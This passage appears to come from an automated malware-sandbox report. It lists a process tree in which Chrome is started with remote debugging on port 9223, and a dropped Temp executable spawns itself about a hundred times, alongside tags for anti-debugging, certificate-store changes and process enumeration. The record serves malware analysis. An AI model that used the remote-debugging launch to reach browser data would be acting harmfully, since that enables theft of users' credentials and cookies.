        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:2156
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        7⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:8208
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef78f9758,0x7fef78f9768,0x7fef78f9778
        8⤵
        
        PID:8244
        
        C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        8⤵
        
        PID:8696
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1148 --field-trial-handle=1348,i,8189608934188838399,3814580224875237917,131072 /prefetch:2
        8⤵
        
        PID:9360
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1100 --field-trial-handle=1348,i,8189608934188838399,3814580224875237917,131072 /prefetch:8
        8⤵
        
        PID:9424
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1588 --field-trial-handle=1348,i,8189608934188838399,3814580224875237917,131072 /prefetch:8
        8⤵
        
        PID:9444
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2312 --field-trial-handle=1348,i,8189608934188838399,3814580224875237917,131072 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:9612
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2328 --field-trial-handle=1348,i,8189608934188838399,3814580224875237917,131072 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:9640
      - C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2832
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1672
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2952
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2144
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2876
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1760
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2056
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2548
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:300
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1296
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:840
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2276
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1812
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2188
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1508
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1344
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:700
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1708
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2108
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1416
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:640
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2452
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2460
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1816
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2076
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2532
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1444
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1764
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1328
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1932
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:996
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1804
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2364
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2456
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1784
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1748
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2232
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:288
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2216
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:896
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1752
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:892
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2224
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2020
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2024
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2240
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2980
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1568
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:1576
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2244
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:3012
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2708
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2792
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2840
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2700
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2580
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2944
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2732
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2704
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2788
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        Executes dropped EXE
        
        PID:2796
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2776
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2428
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2504
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2140
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2624
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1660
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2652
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2812
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2772
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2172
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1856
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:3048
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:3000
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:3016
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2040
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:856
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1988
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1528
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1216
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:884
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:576
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:572
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2636
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2644
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2872
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2880
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2904
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:3008
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1400
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2084
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1428
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1684
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1680
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:296
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2444
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:800
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:632
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:3056
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1492
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1928
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2176
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:596
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1724
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1604
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1276
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2536
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:868
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2488
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2964
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:832
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1648
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1776
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:2280
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1676
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1028
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:788
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1688
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:268
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe"
        7⤵
        
        PID:1600
        
        C:\Users\Admin\AppData\Local\Temp\10003000101\2f5a3b9cf9.exe
        
